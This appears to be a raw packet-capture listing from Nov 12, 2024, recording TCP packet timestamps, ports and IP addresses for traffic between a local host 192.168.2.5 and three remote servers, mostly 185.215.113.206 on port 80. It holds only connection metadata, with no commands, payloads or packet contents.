Nov 12, 2024 06:23:29.956671953 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.956935883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956967115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956990957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.957057953 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.959923029 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.959984064 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.960061073 CET	49826	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.960493088 CET	49826	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.960499048 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.960521936 CET	49826	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.960526943 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.963989019 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.964021921 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.965919971 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.966218948 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.966232061 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.970752954 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.971085072 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.971502066 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.971546888 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.971546888 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.971564054 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.971580029 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.974802971 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.974837065 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.974854946 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.974874973 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.974898100 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.974958897 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.975292921 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.975305080 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.975332975 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.975338936 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.975342989 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.975354910 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.981609106 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.981637001 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.986010075 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.986597061 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.986608028 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.001035929 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.001044035 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:30.026842117 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.027067900 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.027077913 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.028122902 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.028186083 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.028531075 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.028593063 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.028670073 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.028676987 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.029045105 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.029095888 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.029164076 CET	49829	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.029299974 CET	49829	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.029299974 CET	49829	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.029314041 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.029324055 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.031634092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.031646967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.031657934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.031706095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.031724930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.031740904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.031753063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.031764030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.031765938 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.031775951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.031791925 CET	443	49837	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.031795979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.031805992 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.031826973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.031856060 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.032068014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.032088041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.032105923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.032116890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.032119036 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.032145023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.032890081 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.032902002 CET	443	49837	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.045066118 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:30.045156956 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.045321941 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.045331001 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:30.071579933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.071618080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.071640015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.071666956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.071862936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.071886063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.071912050 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.071934938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.071935892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.071949959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.071964979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.071981907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.071985006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.071999073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.072045088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.133522987 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.146574974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.146636009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.146656990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.146701097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.146828890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.146879911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.146894932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.146919012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.146972895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147058964 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147069931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147080898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147102118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.147130966 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.147444963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147456884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147469997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147485971 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.147490025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147531986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.147880077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.147923946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.147998095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.148055077 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.187689066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.187704086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.187716007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.187735081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.187746048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.187748909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.187762976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.187776089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.187794924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.187823057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.188066006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.188107967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.332240105 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.332273006 CET	443	49838	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:30.332376957 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.332427979 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.332457066 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:30.332500935 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.332757950 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.332772017 CET	443	49838	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:30.332911968 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:30.332923889 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:30.446088076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446101904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446111917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446125984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446141005 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.446194887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446197033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.446209908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446228027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446258068 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.446269035 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.446351051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446357965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446360111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446366072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446402073 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.446413994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.446598053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446675062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.446887016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446933985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.446981907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.446997881 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447009087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447022915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447026014 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.447037935 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447048903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447052956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.447055101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447067022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447072029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447078943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447088957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.447088957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.447120905 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.447336912 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.447359085 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.447366953 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.447379112 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.447386026 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.447387934 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.447406054 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.447419882 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.447427988 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.447474957 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.447860003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447871923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447881937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447891951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447896004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447901011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447906017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447909117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447913885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447917938 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.447918892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447923899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447928905 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.447940111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448046923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.448046923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.448419094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448430061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448438883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448450089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448460102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448466063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448472023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448482990 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.448497057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448507071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.448508024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448522091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448533058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448537111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.448550940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.448558092 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.448577881 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.448602915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.449117899 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.449126005 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.449142933 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.449151993 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.449162960 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.449167013 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.449168921 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.449223995 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.456474066 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.456497908 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.457751989 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.457757950 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.492938042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.492995977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493009090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493021011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.493056059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493069887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493081093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493083000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.493083000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.493094921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.493119001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.493489027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493555069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493566036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493577957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.493603945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.493628979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.494003057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.494013071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.494055986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.533268929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533282042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533293009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533338070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.533360004 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.533411980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533431053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533442020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533453941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.533472061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.533778906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533792973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533803940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.533818007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.533833027 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.534074068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.534085989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.534101963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.534118891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.534132957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.534142017 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.534147024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.534408092 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.537497044 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.537518024 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.537524939 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.537549019 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.537558079 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.537565947 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.537587881 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.537607908 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.537648916 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.537648916 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.550410032 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.550420046 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.550452948 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.550462961 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.550476074 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.550488949 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.550515890 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.550527096 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.584412098 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.584659100 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.584728956 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.584795952 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.584815979 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.584826946 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.584831953 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.587865114 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.587892056 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.588011026 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.588202953 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:30.588216066 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:30.608344078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.608365059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.608377934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.608448982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.608473063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.608484030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.608805895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.608817101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.608942986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.609025955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.609038115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.609049082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.617043018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.648550034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.648571014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.648596048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.648610115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.648612976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.648683071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.648705006 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.648715973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.648730040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.648741961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.648782015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:30.649137974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.649157047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:30.649171114 CET	80	49779	185.215.113.206	192.168.2.5
